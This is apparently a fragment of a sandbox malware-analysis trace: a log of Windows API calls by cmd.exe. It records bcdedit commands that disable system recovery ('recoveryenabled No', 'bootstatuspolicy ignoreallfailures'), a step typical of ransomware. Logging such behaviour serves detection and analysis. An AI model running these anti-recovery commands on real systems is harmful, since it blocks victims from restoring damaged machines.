	[0120.741] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0120.741] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0120.741] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4
	[0120.741] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7
	[0120.741] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16
	[0120.742] GetProcessHeap () returned 0x330000
	[0120.742] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x218) returned 0x34bd30
	[0120.742] GetProcessHeap () returned 0x330000
	[0120.742] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x68) returned 0x34bf50
	[0120.743] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1
	[0120.744] GetProcessHeap () returned 0x330000
	[0120.744] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x420) returned 0x331320
	[0120.744] SetErrorMode (uMode=0x0) returned 0x8001
	[0120.744] SetErrorMode (uMode=0x1) returned 0x0
	[0120.744] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x331330, lpFilePart=0x20edc0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x20edc0*="system32") returned 0x13
	[0120.744] SetErrorMode (uMode=0x8001) returned 0x1
	[0120.745] GetProcessHeap () returned 0x330000
	[0120.745] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x331320, Size=0x48) returned 0x331320
	[0120.745] GetProcessHeap () returned 0x330000
	[0120.745] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x331320) returned 0x48
	[0120.745] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0120.745] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0120.746] GetProcessHeap () returned 0x330000
	[0120.746] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x104) returned 0x34bfc0
	[0120.746] GetProcessHeap () returned 0x330000
	[0120.746] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1f8) returned 0x331380
	[0121.233] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x331380, Size=0x106) returned 0x331380
	[0121.233] GetProcessHeap () returned 0x330000
	[0121.233] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x331380) returned 0x106
	[0121.233] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0121.233] GetProcessHeap () returned 0x330000
	[0121.233] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe8) returned 0x34c0d0
	[0121.234] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x34c0d0, Size=0x7e) returned 0x34c0d0
	[0121.234] GetProcessHeap () returned 0x330000
	[0121.234] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c0d0) returned 0x7e
	[0121.236] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0121.236] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x20eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20eb30) returned 0x34c160
	[0121.237] GetProcessHeap () returned 0x330000
	[0121.237] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x28) returned 0x344660
	[0121.237] FindClose (in: hFindFile=0x34c160 | out: hFindFile=0x34c160) returned 1
	[0121.237] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x20eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20eb30) returned 0xffffffffffffffff
	[0121.237] GetLastError () returned 0x2
	[0121.238] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x20eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20eb30) returned 0x34c160
	[0121.238] GetProcessHeap () returned 0x330000
	[0121.238] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x344660, Size=0x8) returned 0x34c1c0
	[0121.238] FindClose (in: hFindFile=0x34c160 | out: hFindFile=0x34c160) returned 1
	[0121.238] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0121.238] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0121.238] GetConsoleTitleW (in: lpConsoleTitle=0x20f080, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0121.239] InitializeProcThreadAttributeList (in: lpAttributeList=0x20ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20edf8 | out: lpAttributeList=0x20ee38, lpSize=0x20edf8) returned 1
	[0121.239] UpdateProcThreadAttribute (in: lpAttributeList=0x20ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x20ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20ee38, lpPreviousValue=0x0) returned 1
	[0121.239] GetStartupInfoW (in: lpStartupInfo=0x20ef50 | out: lpStartupInfo=0x20ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0121.239] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1
	[0121.242] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit  /set {default} recoveryenabled No ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x20ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit  /set {default} recoveryenabled No ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20ee20 | out: lpCommandLine="bcdedit  /set {default} recoveryenabled No ", lpProcessInformation=0x20ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x518, dwThreadId=0x788)) returned 1
	[0121.858] CloseHandle (hObject=0x50) returned 1
	[0121.858] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0121.858] GetProcessHeap () returned 0x330000
	[0121.858] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ace0 | out: hHeap=0x330000) returned 1
	[0121.858] GetEnvironmentStringsW () returned 0x34ace0*
	[0121.858] GetProcessHeap () returned 0x330000
	[0121.858] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xac4) returned 0x348b10
	[0121.859] FreeEnvironmentStringsW (penv=0x34ace0) returned 1
	[0121.859] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0125.758] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x20ed68 | out: lpExitCode=0x20ed68*=0x1) returned 1
	[0125.758] CloseHandle (hObject=0x54) returned 1
	[0125.758] _vsnwprintf (in: _Buffer=0x20efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x20ed78 | out: _Buffer="00000001") returned 8
	[0125.758] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1
	[0125.758] GetProcessHeap () returned 0x330000
	[0125.758] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x348b10 | out: hHeap=0x330000) returned 1
	[0125.759] GetEnvironmentStringsW () returned 0x348b10*
	[0125.759] GetProcessHeap () returned 0x330000
	[0125.759] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaea) returned 0x359850
	[0125.759] FreeEnvironmentStringsW (penv=0x348b10) returned 1
	[0125.759] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0125.759] GetProcessHeap () returned 0x330000
	[0125.759] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x359850 | out: hHeap=0x330000) returned 1
	[0125.759] GetEnvironmentStringsW () returned 0x348b10*
	[0125.759] GetProcessHeap () returned 0x330000
	[0125.760] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaea) returned 0x359850
	[0125.760] FreeEnvironmentStringsW (penv=0x348b10) returned 1
	[0125.760] GetProcessHeap () returned 0x330000
	[0125.760] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c1e0 | out: hHeap=0x330000) returned 1
	[0125.760] DeleteProcThreadAttributeList (in: lpAttributeList=0x20ee38 | out: lpAttributeList=0x20ee38) 
	[0125.760] GetConsoleTitleW (in: lpConsoleTitle=0x20f530, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0125.761] SetErrorMode (uMode=0x0) returned 0x8001
	[0125.761] SetErrorMode (uMode=0x1) returned 0x0
	[0125.761] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x34acf0, lpFilePart=0x20edc0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x20edc0*="system32") returned 0x13
	[0125.761] SetErrorMode (uMode=0x8001) returned 0x1
	[0125.761] GetProcessHeap () returned 0x330000
	[0125.761] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x34ace0, Size=0x48) returned 0x34ace0
	[0125.761] GetProcessHeap () returned 0x330000
	[0125.761] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ace0) returned 0x48
	[0125.762] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0125.762] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0125.762] GetProcessHeap () returned 0x330000
	[0125.762] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x104) returned 0x345be0
	[0125.762] GetProcessHeap () returned 0x330000
	[0125.762] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1f8) returned 0x331a80
	[0125.762] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x331a80, Size=0x106) returned 0x331a80
	[0125.762] GetProcessHeap () returned 0x330000
	[0125.762] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x331a80) returned 0x106
	[0125.762] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0125.763] GetProcessHeap () returned 0x330000
	[0125.763] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe8) returned 0x331ba0
	[0125.763] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x331ba0, Size=0x7e) returned 0x331ba0
	[0125.763] GetProcessHeap () returned 0x330000
	[0125.763] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x331ba0) returned 0x7e
	[0125.763] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0125.763] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x20eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20eb30) returned 0x345cf0
	[0125.764] FindClose (in: hFindFile=0x345cf0 | out: hFindFile=0x345cf0) returned 1
	[0125.764] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x20eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20eb30) returned 0xffffffffffffffff
	[0125.764] GetLastError () returned 0x2
	[0125.764] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x20eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20eb30) returned 0x345cf0
	[0125.765] FindClose (in: hFindFile=0x345cf0 | out: hFindFile=0x345cf0) returned 1
	[0125.765] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0125.765] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0125.765] GetConsoleTitleW (in: lpConsoleTitle=0x20f080, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0125.765] InitializeProcThreadAttributeList (in: lpAttributeList=0x20ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20edf8 | out: lpAttributeList=0x20ee38, lpSize=0x20edf8) returned 1
	[0125.766] UpdateProcThreadAttribute (in: lpAttributeList=0x20ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x20ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20ee38, lpPreviousValue=0x0) returned 1
	[0125.766] GetStartupInfoW (in: lpStartupInfo=0x20ef50 | out: lpStartupInfo=0x20ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0125.766] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1
	[0125.766] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit  /set {default}", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x20ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit  /set {default}", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20ee20 | out: lpCommandLine="bcdedit  /set {default}", lpProcessInformation=0x20ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x914, dwThreadId=0x9f4)) returned 1
	[0126.040] CloseHandle (hObject=0x54) returned 1
	[0126.040] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0126.040] GetProcessHeap () returned 0x330000
	[0126.040] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x359850 | out: hHeap=0x330000) returned 1
	[0126.040] GetEnvironmentStringsW () returned 0x348b10*
	[0126.040] GetProcessHeap () returned 0x330000
	[0126.040] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaea) returned 0x359850
	[0126.040] FreeEnvironmentStringsW (penv=0x348b10) returned 1
	[0126.040] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0
	[0127.716] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x20ed68 | out: lpExitCode=0x20ed68*=0x1) returned 1
	[0127.716] CloseHandle (hObject=0x50) returned 1
	[0127.717] _vsnwprintf (in: _Buffer=0x20efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x20ed78 | out: _Buffer="00000001") returned 8
	[0127.717] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1
	[0127.717] GetProcessHeap () returned 0x330000
	[0127.717] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x359850 | out: hHeap=0x330000) returned 1
	[0127.718] GetEnvironmentStringsW () returned 0x348b10*
	[0127.718] GetProcessHeap () returned 0x330000
	[0127.718] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaea) returned 0x359850
	[0127.718] FreeEnvironmentStringsW (penv=0x348b10) returned 1
	[0127.718] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0127.718] GetProcessHeap () returned 0x330000
	[0127.718] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x359850 | out: hHeap=0x330000) returned 1
	[0127.718] GetEnvironmentStringsW () returned 0x348b10*
	[0127.718] GetProcessHeap () returned 0x330000
	[0127.718] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaea) returned 0x359850
	[0127.719] FreeEnvironmentStringsW (penv=0x348b10) returned 1
	[0127.719] GetProcessHeap () returned 0x330000
	[0127.719] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345cf0 | out: hHeap=0x330000) returned 1
	[0127.719] DeleteProcThreadAttributeList (in: lpAttributeList=0x20ee38 | out: lpAttributeList=0x20ee38) 
	[0127.719] _get_osfhandle (_FileHandle=1) returned 0x7
	[0127.719] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0127.720] _get_osfhandle (_FileHandle=1) returned 0x7
	[0127.720] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a47e194 | out: lpMode=0x4a47e194) returned 1
	[0127.721] _get_osfhandle (_FileHandle=0) returned 0x3
	[0127.721] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a47e198 | out: lpMode=0x4a47e198) returned 1
	[0127.721] SetConsoleInputExeNameW () returned 0x1
	[0127.721] GetConsoleOutputCP () returned 0x1b5
	[0127.722] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0127.722] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0127.723] exit (_Code=1) 

Process:
	id = "16"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x30e9b000"
	os_pid = "0xb08"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "cmd /c \"bootstatuspolicy ignoreallfailures\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 103
	os_tid = 0xb58

	[0119.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26ff30 | out: lpSystemTimeAsFileTime=0x26ff30*(dwLowDateTime=0x1949abd0, dwHighDateTime=0x1d5cdef)) 
	[0119.913] GetCurrentProcessId () returned 0xb08
	[0119.913] GetCurrentThreadId () returned 0xb58
	[0119.913] GetTickCount () returned 0x1164b53
	[0119.913] QueryPerformanceCounter (in: lpPerformanceCount=0x26ff38 | out: lpPerformanceCount=0x26ff38*=26166626408) returned 1
	[0119.915] GetModuleHandleW (lpModuleName=0x0) returned 0x4a450000
	[0119.915] __set_app_type (_Type=0x1) 
	[0119.916] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a477810) returned 0x0
	[0119.916] __getmainargs (in: _Argc=0x4a49a608, _Argv=0x4a49a618, _Env=0x4a49a610, _DoWildCard=0, _StartInfo=0x4a47e0f4 | out: _Argc=0x4a49a608, _Argv=0x4a49a618, _Env=0x4a49a610) returned 0
	[0119.917] GetCurrentThreadId () returned 0xb58
	[0119.917] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb58) returned 0x3c
	[0120.214] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0120.214] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0120.214] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0120.215] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0120.215] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x26fec8 | out: phkResult=0x26fec8*=0x0) returned 0x2
	[0120.215] VirtualQuery (in: lpAddress=0x26feb0, lpBuffer=0x26fe30, dwLength=0x30 | out: lpBuffer=0x26fe30*(BaseAddress=0x26f000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.215] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x26fe30, dwLength=0x30 | out: lpBuffer=0x26fe30*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.215] VirtualQuery (in: lpAddress=0x171000, lpBuffer=0x26fe30, dwLength=0x30 | out: lpBuffer=0x26fe30*(BaseAddress=0x171000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.215] VirtualQuery (in: lpAddress=0x174000, lpBuffer=0x26fe30, dwLength=0x30 | out: lpBuffer=0x26fe30*(BaseAddress=0x174000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.215] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x26fe30, dwLength=0x30 | out: lpBuffer=0x26fe30*(BaseAddress=0x270000, AllocationBase=0x270000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0120.216] GetConsoleOutputCP () returned 0x1b5
	[0120.216] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0120.217] SetConsoleCtrlHandler (HandlerRoutine=0x4a473184, Add=1) returned 1
	[0120.218] _get_osfhandle (_FileHandle=1) returned 0x7
	[0120.218] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0120.219] _get_osfhandle (_FileHandle=1) returned 0x7
	[0120.219] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a47e194 | out: lpMode=0x4a47e194) returned 1
	[0120.220] _get_osfhandle (_FileHandle=1) returned 0x7
	[0120.220] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0120.221] _get_osfhandle (_FileHandle=0) returned 0x3
	[0120.221] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a47e198 | out: lpMode=0x4a47e198) returned 1
	[0120.222] _get_osfhandle (_FileHandle=0) returned 0x3
	[0120.222] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0120.223] GetEnvironmentStringsW () returned 0x438a50*
	[0120.223] GetProcessHeap () returned 0x420000
	[0120.223] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xa7c) returned 0x4394e0
	[0120.223] FreeEnvironmentStringsW (penv=0x438a50) returned 1
	[0120.224] GetProcessHeap () returned 0x420000
	[0120.224] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0x8) returned 0x439f70
	[0120.224] GetEnvironmentStringsW () returned 0x438a50*
	[0120.224] GetProcessHeap () returned 0x420000
	[0120.224] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x8, Size=0xa7c) returned 0x439f90
	[0120.224] FreeEnvironmentStringsW (penv=0x438a50) returned 1
	[0120.224] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26ed88 | out: phkResult=0x26ed88*=0x44) returned 0x0
	[0120.225] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x0, lpData=0x26eda0*=0x18, lpcbData=0x26ed84*=0x1000) returned 0x2
	[0120.225] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x4, lpData=0x26eda0*=0x1, lpcbData=0x26ed84*=0x4) returned 0x0
	[0120.225] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x0, lpData=0x26eda0*=0x1, lpcbData=0x26ed84*=0x1000) returned 0x2
	[0120.225] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x4, lpData=0x26eda0*=0x0, lpcbData=0x26ed84*=0x4) returned 0x0
	[0120.225] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x4, lpData=0x26eda0*=0x40, lpcbData=0x26ed84*=0x4) returned 0x0
	[0120.225] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x4, lpData=0x26eda0*=0x40, lpcbData=0x26ed84*=0x4) returned 0x0
	[0120.225] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x0, lpData=0x26eda0*=0x40, lpcbData=0x26ed84*=0x1000) returned 0x2
	[0120.226] RegCloseKey (hKey=0x44) returned 0x0
	[0120.226] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x26ed88 | out: phkResult=0x26ed88*=0x44) returned 0x0
	[0120.226] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x0, lpData=0x26eda0*=0x40, lpcbData=0x26ed84*=0x1000) returned 0x2
	[0120.226] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x4, lpData=0x26eda0*=0x1, lpcbData=0x26ed84*=0x4) returned 0x0
	[0120.226] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x0, lpData=0x26eda0*=0x1, lpcbData=0x26ed84*=0x1000) returned 0x2
	[0120.226] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x4, lpData=0x26eda0*=0x0, lpcbData=0x26ed84*=0x4) returned 0x0
	[0120.227] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x26ed80, lpData=0x26eda0, lpcbData=0x26ed84*=0x1000 | out: lpType=0x26ed80*=0x4, lpData=0x26eda0*=0x9, lpcbData=0x26ed84*=0x4) returned 0x0
